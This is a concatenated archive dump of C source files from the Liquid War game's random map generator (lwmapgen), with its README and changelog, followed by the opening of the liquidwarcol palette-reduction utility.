rand()%(section_width-cutsize); vert[0] = 1; vert[1] = yoffset + topdist_left; vert[2] = map.width-2; vert[3] = yoffset + topdist_right; vert[4] = map.width-2; vert[5] = yoffset + topdist_right + cutsize; vert[6] = 1; vert[7] = yoffset + topdist_left + cutsize; polygon (map.map, 4, vert, 255); } } /* cut slanted cols */ if( way == 1 || way == 2 ) { start = rand()%2; for( c = start; c < map.num_col; c += 2 ) { offset(&xoffset, &yoffset, 0, c); cutsize = rand()%(section_width/2-map.max_pad)+1; /* following 2 lines removed by c. guirl 2003/11/09 cutx = section_width/2 + xoffset; rectfill(map.map, cutx-cutsize, 1, cutx+cutsize, map.height-2, 255); */ int leftdist_top = rand()%(section_width-cutsize); int leftdist_bottom = rand()%(section_width-cutsize); vert[0] = xoffset + leftdist_top; vert[1] = 1; vert[2] = xoffset + leftdist_bottom; vert[3] = map.height-2; vert[4] = xoffset + leftdist_bottom + cutsize; vert[5] = map.height-2; vert[6] = xoffset + leftdist_top + cutsize; vert[7] = 1; polygon (map.map, 4, vert, 255); } } /* } */ return; } liquidwar-5.6.5/utils/lwmapgen/cut.h0000664000372000037200000000024313407756104017056 0ustar travistravis/* * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #ifndef LWMAPGEN_CUT_H #define LWMAPGEN_CUT_H void cut (); #endif liquidwar-5.6.5/utils/lwmapgen/README0000664000372000037200000000211113407756104016766 0ustar travistravisA Random Map Generator for Liquid War. Liquid War: https://ufoot.org/liquidwar/v5/ Generator: http://xdavidx.sqrville.org/lwmapgen/ Requires Allegro and gcc. To compile: make To Run: ./liquidwar-mapgen [options] For options: ./liquidwar-mapgen --help To list generating functions: ./liquidwar-mapgen --list For technical info see "HACKING". TODO: * strange big_quad shapes with -s 0 -g 1 *On my Gentoo system, I get a segfault in/after save_bitmap with map size is 4 or 5. Both in allegro-4.0.3 and 4.1.11 *If an output filename is around 20 char long, I get a segfault when trying to create the bitmap. It appears to be a bug in allegro-4.0.3. It works in allegro-4.1.11. * Once in a while I segfault in rand_boxes, and any thing that uses rand_poly. Whats with this? It usually happens with 5/6 and 15/16. * more generating functions... esp. ones that create "closed in maps". Personally I would like to have a maze-like function and one that makes little mushrooms like centipede =]. * tweak rand_poly.c to create better looking maps. --David dredick (AT) novagaming.net liquidwar-5.6.5/utils/lwmapgen/map.h0000664000372000037200000000360713407756104017047 0ustar travistravis/* * Map info, misc map functions. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #ifndef LWMAPGEN_MAP_H #define LWMAPGEN_MAP_H #include #include "func.h" #include "misc.h" #define ALLEGRO_USE_CONSOLE extern char default_filename[10]; #define MIN_MAP_SIZE 0 #define MAX_MAP_SIZE 6 #define DEFAULT_MAP_SIZE 3 extern int map_size[MAX_MAP_SIZE][2]; #define RANDOM_MAP_GRID_SIZE 0 #define MIN_MAP_GRID_SIZE 1 #define MAX_MAP_GRID_SIZE 10 extern int map_grid_size[MAX_MAP_GRID_SIZE][2]; typedef struct { char *filename; /* should not be changed */ int width, height; /* should not be changed */ BITMAP *map; /* grid size */ int num_row, num_col; /* section size */ float sec_width, sec_height; /* should not be changed */ /* the color to draw with */ int color; /* 0 == normal, 255 == inverted */ int func_id; void (*func) (); } map_t; extern map_t map; /* sets up the map for drawing */ void clear_map (); void clear_invert_map (); /* print all the map info to stdout */ /* really for debugging */ void print_map (); /*****************************************************************************/ /* Misc functions */ /* * The default sections looks like this: * c 0 1 2 * r +---+---+---+ * 0 | 0 | 1 | 2 | <-+ * +---+---+---+ | * 1 | 3 | 4 | 5 | <-+- i * +---+---+---+ */ /* get i from r, c */ #define section(r,c) ( (r*map.num_col)+c ) /* get r, c from i */ void section_rc (int *row, int *col, int i); void offset (int *xoffset, int *yoffset, int r, int c); void rand_point_section (int *x, int *y, int pad); void rand_point_section_offset (int *x, int *y, int r, int c, int pad); void section_center (int *x, int *y, int r, int c); /*****************************************************************************/ #endif liquidwar-5.6.5/utils/lwmapgen/boxes.c0000664000372000037200000000242013407756104017375 0ustar travistravis/* * A bunch of boxes of the same size. * * This works best if r/c are large and close to each other. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" void boxes () { int r, c; int startx, starty, endx, endy; int pad; pad = 1; for (r = 0; r < map.num_row; r++) { for (c = 0; c < map.num_col; c++) { /* 1 out 2 chance to draw box */ if (rand () % 2 == 0) { /* * if box is on the edge of the map i use * the absolute pixel */ if (c == 0) startx = pad + 1; else startx = map.sec_width * c + pad; if (r == 0) starty = pad + 1; else starty = map.sec_height * r + pad; if (c == map.num_col - 1) endx = map.width - pad - 2; else endx = map.sec_width * (c + 1) - pad; if (r == map.num_row - 1) endy = map.height - pad - 2; else endy = map.sec_height * (r + 1) - pad; rectfill (map.map, startx, starty, endx, endy, 0); } } } return; } liquidwar-5.6.5/utils/lwmapgen/rand_poly_cut.c0000664000372000037200000000040313407756104021116 0ustar travistravis/* * Do rand_poly then cut lines across it. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "func_list.h" #include "cut.h" void rand_poly_cut () { rand_poly (); cut (); return; } liquidwar-5.6.5/utils/lwmapgen/rand_poly.c0000664000372000037200000000227213407756104020251 0ustar travistravis/* * One big, solid, random polygon that takes up most of the map. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "misc.h" #define PAD 5 void rand_poly () { int r, c; int num_vert; int *vert; int v; /* -4 is for the corners */ num_vert = (2 * map.num_col) + (2 * map.num_row) - 4; vert = create_array (num_vert * 2, sizeof (int)); v = 0; /* top */ r = 0; for (c = 0; c < map.num_col; c++) { rand_point_section_offset (&vert[v], &vert[v + 1], r, c, PAD); v += 2; } /* right side */ c = map.num_col - 1; for (r = 1; r < map.num_row; r++) { rand_point_section_offset (&vert[v], &vert[v + 1], r, c, PAD); v += 2; } /* bottom */ r = map.num_row - 1; for (c = map.num_col - 2; c >= 0; c--) { rand_point_section_offset (&vert[v], &vert[v + 1], r, c, PAD); v += 2; } /* left side */ c = 0; for (r = map.num_row - 2; r >= 1; r--) { rand_point_section_offset (&vert[v], &vert[v + 1], r, c, PAD); v += 2; } /* draw poly */ polygon (map.map, num_vert, vert, map.color); delete_array (vert); return; } liquidwar-5.6.5/utils/lwmapgen/hole.c0000664000372000037200000000037113407756104017207 0ustar travistravis/* * Randomly shaped hole. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "func_list.h" void hole () { map.color = 255; clear_invert_map (); rand_poly (); return; } liquidwar-5.6.5/utils/lwmapgen/func.h0000664000372000037200000000054413407756104017222 0ustar travistravis/* * Info on the functions to generate the map. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #ifndef LWMAPGEN_FUNC_H #define LWMAPGEN_FUNC_H #define MIN_FUNC 0 #define MAX_FUNC 13 typedef struct { char *name; char *desc; void (*func) (); } func_t; extern func_t func[MAX_FUNC]; #endif liquidwar-5.6.5/utils/lwmapgen/rand_box.c0000664000372000037200000000225713407756104020061 0ustar travistravis/* * Random boxes. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" void rand_box () { int r, c; int xoffset, yoffset; /* the start is the upper left */ int starty, startx; int bwidth, bheight; for (r = 0; r < map.num_row; r++) { for (c = 0; c < map.num_col; c++) { offset (&xoffset, &yoffset, r, c); rand_point_section (&startx, &starty, 1); /* +1 because we don't want 0 dimensions =] */ bwidth = rand () % (int) map.sec_width + 1; bheight = rand () % (int) map.sec_height + 1; /* * if the box goes outside the section * then just make the box smaller * NOTE: -1 is for the padding */ if (startx + bwidth > map.sec_width - 1) bwidth -= (startx + bwidth) - (map.sec_width - 1); if (starty + bheight > map.sec_height - 1) bheight -= (starty + bheight) - (map.sec_height - 1); rectfill (map.map, startx + xoffset, starty + yoffset, startx + bwidth + xoffset, starty + bheight + yoffset, 0); } } return; } liquidwar-5.6.5/utils/lwmapgen/HEADER0000664000372000037200000000013613407756104016766 0ustar travistravis/* * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ liquidwar-5.6.5/utils/lwmapgen/lines.c0000664000372000037200000000033413407756104017371 0ustar travistravis/* * A grid of random lines. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "map.h" #include "cut.h" void lines () { clear_invert_map (); cut (); return; } liquidwar-5.6.5/utils/lwmapgen/worms.c0000664000372000037200000000410013407756104017421 0ustar travistravis/* * Random little worms. * * Copyright (C) 2003, Chris Guirl, David Redick * Released under the GNU General Public License (v2) */ #include #include #include "map.h" /* math.h files do not define M_PI in ansi C */ #ifndef M_PI #define M_PI 3.14159265358979323846264338327950288 #endif int filled (int centerx, int centery, int rad, int startdeg, int col, int seg) { int deg; int result = 0; int check_degrees; /* * int seg is the current segment - if this is the first segment of a * worm (seg = 0) check 360 degrees around it instead of just 180 */ if (0 == seg) check_degrees = 180; else check_degrees = 90; for (deg = startdeg - check_degrees; deg < startdeg + check_degrees; deg += 5) { if (getpixel (map.map, centerx + (rad * cos (M_PI * deg / 180)), centery + (rad * sin (M_PI * deg / 180))) == col) { result = 1; break; } } return result; } void worms () { int r, c, segs; int centerx, centery; int radius, segments; int degree, change; /* 5-15 */ radius = rand () % 10 + 5; segments = rand () % 10 + 5; for (r = 0; r < map.num_row; r++) { for (c = 0; c < map.num_col; c++) { rand_point_section_offset (¢erx, ¢ery, r, c, 0); degree = rand () % 360; for (segs = 0; segs < segments; segs++) { /* -15 to 14 */ change = rand () % 30 - 15; degree += change; centerx += radius * cos (M_PI * degree / 180); centery += radius * sin (M_PI * degree / 180); if (filled (centerx, centery, radius + 1, degree, 0, segs) == 0) { circlefill (map.map, centerx, centery, radius, 0); } else { /* encountered another worm, stopping... */ break; } } } /* for(c..) */ } /* for(r..) */ return; } liquidwar-5.6.5/utils/lwmapgen/map_generator.c0000664000372000037200000000345113407756104021105 0ustar travistravis/* * The main interface to the map generator. * * This is mainly for the game liquidwar to interface with the generator. * For the shell interface see main.c * * Note: I assume that all args are valid. * * If filename is NULL then default filename is used. * * size must be MIN_MAP_SIZE to MAX_MAP_SIZE-1 inclusive. * * grid_size must be MIN_MAP_GRID_SIZE to MAX_MAP_GRID_SIZE-1 inclusive * or RANDOM_MAP_GRID_SIZE * * func_id must be MIN_FUNC to MAX_FUNC-1 inclusive * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include #include #include "map.h" void map_generator (char *filename, int size, int grid_size, int func_id) { char *fname; if (filename == NULL) fname = default_filename; else fname = filename; map.filename = malloc (sizeof (char) * strlen (fname)); if (map.filename == NULL) { fprintf (stderr, "fatal error: can't malloc space for map filename.\n"); exit (EXIT_FAILURE); } strcpy (map.filename, fname); printf ("map.filename = %s\n", map.filename); map.width = map_size[size][0]; map.height = map_size[size][1]; map.map = create_bitmap_ex (8, map.width, map.height); if (grid_size == RANDOM_MAP_GRID_SIZE) grid_size = rand_num (MIN_MAP_GRID_SIZE, MAX_MAP_GRID_SIZE - 1); map.num_row = map_grid_size[grid_size][0]; map.num_col = map_grid_size[grid_size][1]; map.sec_width = (float) map.width / (float) map.num_col; map.sec_height = (float) map.height / (float) map.num_row; map.color = 0; map.func_id = func_id; map.func = func[func_id].func; clear_map (); printf ("Generating random map using:\n\t%2d) %s\t%s\n", func_id, func[func_id].name, func[func_id].desc); print_map (); (*map.func) (); print_map (); return; } liquidwar-5.6.5/utils/lwmapgen/circuit.c0000664000372000037200000002223613407756104017726 0ustar travistravis/* * A map that looks like a circuit board. * * "Wells" are just big circles. * "Pipes" are just lines that connect wells. * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include #include "map.h" #include "misc.h" static char **grid; static int *count; static int size; /******************************************************************************/ /* * flip = 0 for front well connections * flip = 1 for back well connections * * its just makes the map look & play better */ static void draw_pipe (int fromr, int fromc, int tor, int toc, int flip) { int fromx, fromy, tox, toy; if (fromc < toc) { /* up/down then across */ if (flip == 0) { /* go up/down to reach target */ section_center (&fromx, &fromy, fromr, fromc); section_center (&tox, &toy, tor, fromc); rectfill (map.map, fromx - size, fromy, tox + size, toy, 255); /* across some num of sections */ section_center (&fromx, &fromy, tor, fromc); section_center (&tox, &toy, tor, toc); rectfill (map.map, fromx, fromy - size, tox, toy + size, 255); } /* across then up/down */ else { /* across some num of sections */ section_center (&fromx, &fromy, fromr, fromc); section_center (&tox, &toy, fromr, toc); rectfill (map.map, fromx, fromy - size, tox, toy + size, 255); /* go up/down to reach target */ section_center (&fromx, &fromy, fromr, toc); section_center (&tox, &toy, tor, toc); rectfill (map.map, fromx - size, fromy, tox + size, toy, 255); } } else if (fromc > toc) { /* across then up/down */ if (flip == 0) { /* across some num of sections */ section_center (&fromx, &fromy, fromr, fromc); section_center (&tox, &toy, fromr, toc); rectfill (map.map, fromx, fromy - size, tox, toy + size, 255); /* go up/down to reach target */ section_center (&fromx, &fromy, fromr, toc); section_center (&tox, &toy, tor, toc); rectfill (map.map, fromx - size, fromy, tox + size, toy, 255); } /* up/down then across */ else { /* go up/down to reach target */ section_center (&fromx, &fromy, fromr, fromc); section_center (&tox, &toy, tor, fromc); rectfill (map.map, fromx - size, fromy, tox + size, toy, 255); /* across some num of sections */ section_center (&fromx, &fromy, tor, fromc); section_center (&tox, &toy, tor, toc); rectfill (map.map, fromx, fromy - size, tox, toy + size, 255); } } else { /* go up/down to reach target */ section_center (&fromx, &fromy, fromr, fromc); section_center (&tox, &toy, tor, toc); rectfill (map.map, fromx - size, fromy, tox + size, toy, 255); } return; } /******************************************************************************/ /* connect all wells on in row */ static void connect_rows () { int r, c; int fromc, toc; /* make gcc shutup about these being uninitialized */ fromc = toc = -1; for (r = 0; r < map.num_row; r++) { /* can't connect if there's not 2 or more... */ if (count[r] < 2) continue; /* find first c... */ for (c = 0; c < map.num_col; c++) { if (grid[r][c] == 1) { fromc = c; break; } } /* find last c... */ for (c++; c < map.num_col; c++) { if (grid[r][c] == 1) toc = c; } draw_pipe (r, fromc, r, toc, 0); } return; } /******************************************************************************/ /* connect the first well on each row */ /* TODO: I don't think this works 100% */ static void connect_front () { int r, c; int fromr, fromc, tor, toc; /* make gcc shutup about these being uninitialized */ fromc = tor = toc = -1; for (r = 0; r < map.num_row; r++) { if (count[r] == 0) continue; fromr = r; /* find first well */ for (c = 0; c < map.num_col; c++) { if (grid[fromr][c] == 1) { fromc = c; break; } } /* tor = -1; */ /* find next row with a well */ for (r++; r < map.num_row; r++) { if (count[r] > 0) { tor = r; break; } } /* there might be no other wells after from row */ if (r == map.num_row) break; /* find first well on to row */ for (c = 0; c < map.num_col; c++) { if (grid[tor][c] == 1) { toc = c; break; } } draw_pipe (fromr, fromc, tor, toc, 0); printf ("FRONT: %d, %d ---- %d, %d\n", fromr, fromc, tor, toc); r = tor - 1; } return; } /******************************************************************************/ /* connect the last well on each row */ /* TODO: I don't think this works 100% */ static void connect_back () { int r, c; int fromr, fromc, tor, toc; /* make gcc shutup about these being uninitialized */ fromc = tor = toc = -1; for (r = 0; r < map.num_row; r++) { if (count[r] == 0) continue; fromr = r; /* find last well */ for (c = map.num_col - 1; c >= 0; c--) { if (grid[fromr][c] == 1) { fromc = c; break; } } /* tor = -1; */ /* find next row with well */ for (r++; r < map.num_row; r++) { if (count[r] > 0) { tor = r; break; } } /* there might not be another row after from row */ if (r == map.num_row) break; /* find last well */ for (c = map.num_col - 1; c >= 0; c--) { if (grid[tor][c] == 1) { toc = c; break; } } draw_pipe (fromr, fromc, tor, toc, 1); printf ("BACK: %d, %d ---- %d, %d\n", fromr, fromc, tor, toc); r = tor - 1; } return; } /******************************************************************************/ void connect_mid () { int r, c; int fromr, fromc, tor, toc; int mid, i; /* make gcc shutup about these being uninitialized */ fromc = tor = toc = -1; for (r = 0; r < map.num_row; r++) { printf ("row == %d, count[%d] = %d\n", r, r, count[r]); if (count[r] == 0) continue; fromr = r; /* find first middle well */ mid = count[fromr] / 2; i = 0; for (c = 0; c < map.num_col; c++) { if (grid[fromr][c] == 1) { fromc = c; if (i == mid) break; i++; } } /* tor = -1; */ /* find to row */ for (r++; r < map.num_row; r++) { if (count[r] > 0) { tor = r; break; } } /* there might not be another row after from row */ if (r == map.num_row) break; /* find first middle well */ mid = count[tor] / 2; i = 0; printf ("count[tor]/2 == %d/2 == %d\n", count[tor], mid); for (c = 0; c < map.num_col; c++) { if (grid[tor][c] == 1) { toc = c; if (i == mid) break; i++; } } draw_pipe (fromr, fromc, tor, toc, 0); printf ("pipe= %d, %d --- %d, %d\n", fromr, fromc, tor, toc); r = tor - 1; } } /******************************************************************************/ void circuit () { int r, c; int do_cut; int radius; int centerx, centery; clear_invert_map (); grid = (char **) create_grid (map.num_row, map.num_col, sizeof (char)); count = (int *) create_array (map.num_row, sizeof (int)); radius = (map.sec_width > map.sec_height ? map.sec_width : map.sec_height) / 4.0; radius = (radius == 0 ? 1 : radius); size = (map.sec_width > map.sec_height ? map.sec_width : map.sec_height) / 12.0; size = (size == 0 ? 1 : size); for (r = 0; r < map.num_row; r++) { count[r] = 0; for (c = 0; c < map.num_col; c++) { if ((r == 0 || r == map.num_row - 1) && (c == 0 || c == map.num_col / 2 || c == map.num_col - 1)) do_cut = 1; else do_cut = rand () % 4; if (do_cut != 1) { grid[r][c] = 0; continue; } section_center (¢erx, ¢ery, r, c); circlefill (map.map, centerx, centery, radius, 255); grid[r][c] = 1; count[r]++; } } connect_rows (); connect_front (); connect_back (); connect_mid (); delete_grid ((void **) grid, map.num_row); delete_array (count); /* redraw outline */ /* TODO: once in a while if cuts off the edge.. */ rect (map.map, 0, 0, map.width - 1, map.height - 1, 0); return; } liquidwar-5.6.5/utils/lwmapgen/main.c0000664000372000037200000001666213407756104017216 0ustar travistravis/* * A Random map generator for Liquid War. * * Copyright (C) 2003, David Redick, Christian Mauduit * Released under the GNU General Public License (v2) */ #include #include #include #include #include "map.h" #include "func.h" #include "map_generator.h" static char *filename = NULL; static int size = DEFAULT_MAP_SIZE; static int grid_size = RANDOM_MAP_GRID_SIZE; static int func_id = MIN_FUNC; void do_args (int argc, char **argv); void print_help (); void print_version (); #ifdef DOS /* * These macros reduce the size of the DOS executable */ BEGIN_GFX_DRIVER_LIST END_GFX_DRIVER_LIST BEGIN_COLOR_DEPTH_LIST COLOR_DEPTH_8 END_COLOR_DEPTH_LIST BEGIN_DIGI_DRIVER_LIST END_DIGI_DRIVER_LIST BEGIN_MIDI_DRIVER_LIST END_MIDI_DRIVER_LIST BEGIN_JOYSTICK_DRIVER_LIST END_JOYSTICK_DRIVER_LIST #endif #ifdef WIN32 /* * Under Win32 we want a console executable so we don't use * the "END_OF_MAIN" stuff, and this implies to undef "main". */ #undef main #endif int main (int argc, char **argv) { PALETTE pal; int i; /* init allegro and init palette */ install_allegro (SYSTEM_NONE, &errno, atexit); set_color_depth (8); set_color_conversion (COLORCONV_REDUCE_TO_256); for (i = 0; i < 256; i++) { /* divided by 4 because the colour value ranges from 0-63 */ pal[i].r = pal[i].g = pal[i].b = i / 4; } srand (time (NULL)); do_args (argc, argv); printf ("filename = %s\n", filename); map_generator (filename, size, grid_size, func_id); printf ("map-- %s\n", map.filename); save_bitmap (map.filename, map.map, pal); printf ("map-- %s\n", map.filename); return EXIT_SUCCESS; } #ifndef WIN32 END_OF_MAIN (); #endif /*****************************************************************************/ void do_args (int argc, char **argv) { int i; for (i = 1; i < argc; i++) { if (strcmp (argv[i], "-o") == 0 || strcmp (argv[i], "--out") == 0) { if (i >= argc - 1) { fprintf (stderr, "fatal error: %s option without any file, need one more arg.\n", argv[i]); exit (EXIT_FAILURE); } int len = strlen (argv[++i]); filename = malloc (sizeof (char) * len); if (filename == NULL) { fprintf (stderr, "fatal error: can't malloc space for map name.\n"); exit (EXIT_FAILURE); } strcpy (filename, argv[i]); } else if (strcmp (argv[i], "-s") == 0 || strcmp (argv[i], "--size") == 0) { if (i >= argc - 1) { fprintf (stderr, "fatal error: %s option without any size, need one more arg.\n", argv[i]); exit (EXIT_FAILURE); } size = atoi (argv[++i]); if (size < MIN_MAP_SIZE) { fprintf (stderr, "map size too small using: %d\n", MIN_MAP_SIZE); size = MIN_MAP_SIZE; } else if (size >= MAX_MAP_SIZE) { fprintf (stderr, "map size too large using: %d\n", MAX_MAP_SIZE - 1); size = MAX_MAP_SIZE - 1; } } else if (strcmp (argv[i], "-g") == 0 || strcmp (argv[i], "--grid") == 0) { if (i >= argc - 1) { fprintf (stderr, "fatal error: %s option without any value, need one more arg.\n", argv[i]); exit (EXIT_FAILURE); } grid_size = atoi (argv[++i]); if (grid_size == RANDOM_MAP_GRID_SIZE) { /* ok.. don't do anything */ } else if (grid_size < MIN_MAP_GRID_SIZE) { fprintf (stderr, "map grid too small using: %d\n", MIN_MAP_GRID_SIZE); grid_size = MIN_MAP_GRID_SIZE; } else if (grid_size >= MAX_MAP_GRID_SIZE) { fprintf (stderr, "map grid too large using: %d\n", MAX_MAP_GRID_SIZE - 1); grid_size = MAX_MAP_GRID_SIZE - 1; } } else if (strcmp (argv[i], "-f") == 0 || strcmp (argv[i], "--function") == 0) { int f; if (i >= argc - 1) { fprintf (stderr, "fatal error: %s option without any function, need one more arg.\n", argv[i]); exit (EXIT_FAILURE); } i++; for (f = 0; f < MAX_FUNC; f++) { if (strcmp (argv[i], func[f].name) == 0) break; } if (f >= MAX_FUNC) { fprintf (stderr, "fatal error: can't find function: %s\n", argv[i]); exit (EXIT_FAILURE); } else func_id = f; } else if (strcmp (argv[i], "-l") == 0 || strcmp (argv[i], "--list") == 0) { int f; printf ("Random map generating functions:\n"); for (f = 0; f < MAX_FUNC; f++) printf ("%2d) %s\t%s\n", f, func[f].name, func[f].desc); exit (EXIT_SUCCESS); } else if (strcmp (argv[i], "--help") == 0) { print_version (); print_help (); exit (EXIT_SUCCESS); } else if (strcmp (argv[i], "--version") == 0) { print_version (); exit (EXIT_SUCCESS); } else { fprintf (stderr, "error: unknown arg: %s\n", argv[i]); fprintf (stderr, "ignoring...\n"); } } return; } /*****************************************************************************/ void print_help () { int i; printf ("\n"); printf ("-o --out Save bitmap to . [%s]\n", default_filename); printf ("-s --size <%d-%d> Bitmap size. [%d]\n", 0, MAX_MAP_SIZE - 1, DEFAULT_MAP_SIZE); printf ("-g --grid <%d-%d> Map Grid Size [0]\n", 0, MAX_MAP_GRID_SIZE - 1); printf ("\n"); printf ("-f --function Which function to use. [rand_func]\n"); printf ("-l --list List all functions.\n"); printf ("\n"); printf (" --help Print this help.\n"); printf (" --version Print Version.\n"); printf ("\nMap Sizes (WxH):\n"); for (i = MIN_MAP_SIZE; i < MAX_MAP_SIZE; i++) printf ("(%d)%dx%d ", i, map_size[i][0], map_size[i][1]); printf ("\n"); printf ("\nGrid Sizes (RxC):\n"); printf ("(0) Random "); for (i = MIN_MAP_GRID_SIZE; i < MAX_MAP_GRID_SIZE; i++) { if (i > 0 && i % 8 == 0) printf ("\n"); printf ("(%d)%dx%d ", i, map_grid_size[i][0], map_grid_size[i][1]); } printf ("\n"); return; } /*****************************************************************************/ void print_version () { printf ("Liquid War Random Map Generator Version 0.0.1\n" "Copyright (C) 2003, David Redick, Chris Guirl, Christian Mauduit.\n" "Released under the GNU General Public License (v2).\n"); return; } /*****************************************************************************/ liquidwar-5.6.5/utils/lwmapgen/CHANGES0000664000372000037200000000010513407756104017102 0ustar travistravis0.0.0 Initial Release 0.0.1 Updated docs, added change log. liquidwar-5.6.5/utils/lwmapgen/func.c0000664000372000037200000000201213407756104017205 0ustar travistravis/* * REMEMBER TO UPDATE MAX_FUNC IN FUNC.H * * Copyright (C) 2003, David Redick * Released under the GNU General Public License (v2) */ #include "func.h" #include "func_list.h" func_t func[MAX_FUNC] = { /* keep this first! */ {"rand_func", "Picks a random function.", rand_func} , {"big_quad", "One big, solid quad that takes up most of the map.", big_quad} , {"boxes", "A bunch of boxes of the same size.", boxes} , {"bubbles", "Random bubbles.", bubbles} , {"circles", "Random circles.", circles} , {"circuit", "A map that looks like a circuit board.", circuit} , {"hole", "Randomly shaped hole.", hole} , {"lines", "A grid of random lines.", lines} , {"rand_box", "Random boxes.", rand_box} , {"rand_poly", "One big, solid, random polygon that takes up most of the map.", rand_poly} , {"rand_poly_cut", "Do rand_poly then cut lines across it.", rand_poly_cut} , {"street", "A map that looks like a bunch of streets.", street} , {"worms", "Random little worms.", worms} }; liquidwar-5.6.5/utils/liquidwarcol.c0000664000372000037200000003305613407756104017153 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : liquidwarcol.c */ /* contenu : tools to convert files to 8 bits palettes */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*=================================================================*/ /* defines */ /*=================================================================*/ #define ALLEGRO_USE_CONSOLE /*=================================================================*/ /* includes */ /*=================================================================*/ #include #include #include #include #include /*=================================================================*/ /* constants */ /*=================================================================*/ #define LW_TEXTURE_RANDOM_MAX_RETRIES 10000 /*=================================================================*/ /* variables globales */ /*=================================================================*/ int ARGC; char **ARGV; int FLAG_BACKUP = 0; int FLAG_HELP = 0; int FLAG_SILENT = 0; int FIRST_COLOR; int NUMBER_OF_COLORS; char *FILENAMES[65536]; int NUMBER_OF_FILES = 0; PALETTE PALETTE_SRC; PALETTE PALETTE_DST; BITMAP *BITMAP_SRC = NULL; BITMAP *BITMAP_DST = NULL; /*=================================================================*/ /* fonctions */ /*=================================================================*/ /*-----------------------------------------------------------------*/ /* affichages d'aide */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void display_common_help (void) { printf ("liquidwarcol by U-Foot (ufoot@ufoot.org).\n"); printf ("This is a 'palette reducer' for 256 colors bitmaps.\n"); printf ("It is free software, protected by the GPL.\n"); printf ("It uses Allegro by Shawn Hargreaves.\n"); printf ("\n"); } /*-----------------------------------------------------------------*/ void display_short_help (void) { display_common_help (); printf ("Type \"liquidwarcol -?\" for more help.\n"); } /*-----------------------------------------------------------------*/ void display_long_help (void) { display_common_help (); printf ("Syntax:\n"); printf ("liquidwarcol [options] first_color number_of_colors filenames\n"); printf ("\n"); printf ("Options:\n"); printf ("-? -h -H : displays this help.\n"); printf ("-s -S : silent mode, nothing written to the console.\n"); printf ("\n"); printf ("Warning: the source file will be replaced!\n"); } /*-----------------------------------------------------------------*/ /* lecture des parametres de la ligne de commande */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int acknowledge_flag (char *str) { int found = 0; if (str[0] == '-' || str[0] == '/') { found = 1; switch (str[1]) { case '?': case 'h': case 'H': FLAG_HELP = 1; break; case 'b': case 'B': FLAG_BACKUP = 1; break; case 's': case 'S': FLAG_SILENT = 1; break; default: found = 0; } } return found; } /*-----------------------------------------------------------------*/ int read_command_line (void) { int i, j = 0, success = 1; for (i = 1; i < ARGC; ++i) { if ((!acknowledge_flag (ARGV[i]))) { if (j == 0) FIRST_COLOR = atoi (ARGV[i]); if (j == 1) NUMBER_OF_COLORS = atoi (ARGV[i]); if (j >= 2) FILENAMES[j - 2] = ARGV[i]; j++; } } NUMBER_OF_FILES = j - 2; if (NUMBER_OF_FILES > 0) { if (FIRST_COLOR < 0) { success = 0; printf ("ERROR! First color number must be >= 0.\n"); } if (FIRST_COLOR > 255) { success = 0; printf ("ERROR! First color number must be < 255.\n"); } if (NUMBER_OF_COLORS < 1) { success = 0; printf ("ERROR! Number of colors must be > 1.\n"); } if (NUMBER_OF_COLORS + FIRST_COLOR > 256) { success = 0; printf ("ERROR! Last color number must be < 256.\n"); } } else { success = 0; if (!FLAG_HELP) printf ("ERROR! Two few arguments.\n"); } return success; } /*-----------------------------------------------------------------*/ /* acces disque */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ int load_file (char *filename) { int success; if (!FLAG_SILENT) printf ("Loading '%s'.\n", filename); if (BITMAP_SRC != NULL) destroy_bitmap (BITMAP_SRC); BITMAP_SRC = load_bitmap (filename, PALETTE_SRC); success = BITMAP_SRC != NULL; if (!success) printf ("ERROR! Unable to read '%s'.\n", filename); return success; } /*-----------------------------------------------------------------*/ void save_backup (char *filename) { char *bak_name = "faut encore le programmer"; if (!FLAG_SILENT) printf ("Saving a copy of '%s' as '%s'.\n", filename, bak_name); } /*-----------------------------------------------------------------*/ void save_file (char *filename) { if (!FLAG_SILENT) printf ("Replacing '%s'.\n", filename); if (save_bitmap (filename, BITMAP_DST, PALETTE_DST)) printf ("ERROR! Unable to save '%s'.\n", filename); } 